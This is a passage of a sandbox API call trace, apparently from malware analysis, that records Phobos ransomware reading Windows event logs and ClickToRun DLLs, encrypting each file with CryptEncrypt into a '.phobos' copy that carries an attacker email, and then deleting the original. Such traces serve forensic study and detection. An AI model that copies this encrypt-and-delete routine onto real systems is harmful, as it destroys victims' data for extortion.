lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.270] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc610) returned 1 [0061.270] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.270] ReadFile (in: hFile=0x310, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0061.284] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0061.284] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0061.285] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc90) returned 1 [0061.285] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.285] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0061.285] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0061.285] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0061.286] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.286] CloseHandle (hObject=0x310) returned 1 [0061.286] CloseHandle (hObject=0x304) returned 1 [0061.288] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0061.289] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0061.289] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.289] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1052672) returned 1 [0061.289] CloseHandle (hObject=0x304) returned 1 [0061.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0061.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.289] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0061.289] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.290] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.290] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.290] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc9d0) returned 1 [0061.290] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.290] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x101000, lpOverlapped=0x0) returned 1 [0061.341] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010, dwBufLen=0x101010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x101010) returned 1 [0061.343] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x101010, lpOverlapped=0x0) returned 1 [0061.360] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc610) returned 1 [0061.360] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.361] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0061.361] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.361] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0061.361] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0061.361] CloseHandle (hObject=0x304) returned 1 [0061.361] CloseHandle (hObject=0x310) returned 1 [0061.505] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0061.507] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0061.507] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.507] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0061.507] CloseHandle (hObject=0x334) returned 1 [0061.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0061.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\setup.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.507] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.507] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.508] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.508] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\setup.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.508] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc610) returned 1 [0061.508] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.508] ReadFile (in: hFile=0x334, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0061.519] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0061.520] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0061.521] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc790) returned 1 [0061.521] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.521] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0061.521] CryptDestroyKey (hKey=0x10dc790) returned 1 [0061.522] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0061.522] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.522] CloseHandle (hObject=0x334) returned 1 [0061.522] CloseHandle (hObject=0x310) returned 1 [0061.523] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0061.524] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0061.524] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.527] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1118208) returned 1 [0061.527] CloseHandle (hObject=0x300) returned 1 [0061.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0061.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\system.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.527] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.527] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.528] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.528] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\system.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.531] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc90) returned 1 [0061.531] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.531] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x110100, lpOverlapped=0x0) returned 1 [0061.760] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x110100, dwBufLen=0x110100 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x110100) returned 1 [0061.761] WriteFile (in: hFile=0x334, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x110100, lpOverlapped=0x0) returned 1 [0061.781] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0xf00, lpOverlapped=0x0) returned 1 [0061.781] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xf10, dwBufLen=0xf10 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xf10) returned 1 [0061.781] WriteFile (in: hFile=0x334, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf10, lpOverlapped=0x0) returned 1 [0061.781] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dccd0) returned 1 [0061.782] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.782] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0061.782] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0061.782] WriteFile (in: hFile=0x334, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0061.782] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0061.782] CloseHandle (hObject=0x300) returned 1 [0061.782] CloseHandle (hObject=0x334) returned 1 [0062.001] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0062.002] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.003] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=21184) returned 1 [0062.003] CloseHandle (hObject=0x334) returned 1 [0062.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0062.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.003] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.003] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.005] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc10) returned 1 [0062.005] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.005] ReadFile (in: hFile=0x334, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x52c0, lpOverlapped=0x0) returned 1 [0062.089] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x52d0) returned 1 [0062.089] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x52d0, lpOverlapped=0x0) returned 1 [0062.090] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc690) returned 1 [0062.090] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.090] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.090] CryptDestroyKey (hKey=0x10dc690) returned 1 [0062.090] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.090] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0062.090] CloseHandle (hObject=0x334) returned 1 [0062.090] CloseHandle (hObject=0x304) returned 1 [0062.091] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0062.092] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.094] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18624) returned 1 [0062.094] CloseHandle (hObject=0x304) returned 1 [0062.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0062.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.094] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.094] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.094] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc710) returned 1 [0062.094] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.095] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x48c0, lpOverlapped=0x0) returned 1 [0062.187] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x48d0) returned 1 [0062.187] WriteFile (in: hFile=0x334, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x48d0, lpOverlapped=0x0) returned 1 [0062.189] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc610) returned 1 [0062.189] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.189] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.189] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.189] WriteFile (in: hFile=0x334, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.189] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.189] CloseHandle (hObject=0x304) returned 1 [0062.189] CloseHandle (hObject=0x334) returned 1 [0062.190] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0062.191] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.192] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=22720) returned 1 [0062.192] CloseHandle (hObject=0x334) returned 1 [0062.192] GetFileAttributesW 